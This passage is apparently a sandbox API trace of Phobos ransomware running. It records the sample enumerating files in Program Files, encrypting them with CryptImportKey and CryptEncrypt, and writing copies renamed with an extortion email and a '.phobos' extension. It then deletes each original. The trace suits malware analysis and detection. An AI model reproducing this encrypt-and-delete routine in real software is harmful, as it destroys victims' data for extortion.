files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0170.973] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1a10) returned 1 [0170.973] CryptSetKeyParam (hKey=0x1d1a10, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0170.973] ReadFile (in: hFile=0x2cc, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x5080, lpOverlapped=0x0) returned 1 [0171.210] CryptEncrypt (in: hKey=0x1d1a10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x5090, dwBufLen=0x5090 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x5090) returned 1 [0171.210] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x5090, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x5090, lpOverlapped=0x0) returned 1 [0171.211] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d19d0) returned 1 [0171.212] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0171.212] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x50, dwBufLen=0x50 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x50) returned 1 [0171.212] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0171.212] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x102, lpOverlapped=0x0) returned 1 [0171.212] CryptDestroyKey (hKey=0x1d1a10) returned 1 [0171.212] CloseHandle (hObject=0x2cc) returned 1 [0171.212] CloseHandle (hObject=0x2e4) returned 1 [0171.212] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 1 [0171.214] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0171.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0171.215] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=168064) returned 1 [0171.215] CloseHandle (hObject=0x2e4) returned 1 [0171.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 0x20 [0171.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0171.215] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0171.215] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0171.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.225] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1410) returned 1 [0171.225] CryptSetKeyParam (hKey=0x1d1410, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0171.225] ReadFile (in: hFile=0x2e4, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x29080, lpOverlapped=0x0) returned 1 [0171.698] CryptEncrypt (in: hKey=0x1d1410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x29090, dwBufLen=0x29090 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x29090) returned 1 [0171.699] WriteFile (in: hFile=0x2ec, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x29090, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x29090, lpOverlapped=0x0) returned 1 [0171.702] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1710) returned 1 [0171.702] CryptSetKeyParam (hKey=0x1d1710, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0171.703] CryptEncrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0171.703] CryptDestroyKey (hKey=0x1d1710) returned 1 [0171.703] WriteFile (in: hFile=0x2ec, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0171.703] CryptDestroyKey (hKey=0x1d1410) returned 1 [0171.703] CloseHandle (hObject=0x2e4) returned 1 [0171.703] CloseHandle (hObject=0x2ec) returned 1 [0171.703] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 1 [0171.706] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0171.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.707] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=17920) returned 1 [0171.707] CloseHandle (hObject=0x2ec) returned 1 [0171.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui")) returned 0x20 [0171.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.707] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0171.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.707] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=2560) returned 1 [0171.708] CloseHandle (hObject=0x2ec) returned 1 [0171.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20 [0171.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.708] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0171.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.708] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=1233920) returned 1 [0171.708] CloseHandle (hObject=0x2ec) returned 1 [0171.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")) returned 0x20 [0171.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.709] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0171.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.709] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=50688) returned 1 [0171.709] CloseHandle (hObject=0x2ec) returned 1 [0171.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb")) returned 0x20 [0171.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.710] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.710] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0171.710] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.710] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=53760) returned 1 [0171.710] CloseHandle (hObject=0x2ec) returned 1 [0171.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20 [0171.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.711] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0171.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.711] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=69632) returned 1 [0171.711] CloseHandle (hObject=0x2ec) returned 1 [0171.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb")) returned 0x20 [0171.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.712] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0171.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.712] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=70656) returned 1 [0171.712] CloseHandle (hObject=0x2ec) returned 1 [0171.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb")) returned 0x20 [0171.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.713] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0171.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.713] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=71168) returned 1 [0171.713] CloseHandle (hObject=0x2ec) returned 1 [0171.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb")) returned 0x20 [0171.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.714] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0171.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.714] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=70656) returned 1 [0171.714] CloseHandle (hObject=0x2ec) returned 1 [0171.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb")) returned 0x20 [0171.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.715] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0171.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.715] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=70656) returned 1 [0171.715] CloseHandle (hObject=0x2ec) returned 1 [0171.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb")) returned 0x20 [0171.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.716] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0171.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.716] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=364032) returned 1 [0171.716] CloseHandle (hObject=0x2ec) returned 1 [0171.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll")) returned 0x20 [0171.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.717] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0171.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.717] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=13824) returned 1 [0171.717] CloseHandle (hObject=0x2ec) returned 1 [0171.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb")) returned 0x20 [0171.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.719] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0171.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.719] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=45568) returned 1 [0171.719] CloseHandle (hObject=0x2ec) returned 1 [0171.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll")) returned 0x20 [0171.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.720] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0171.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msador28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec 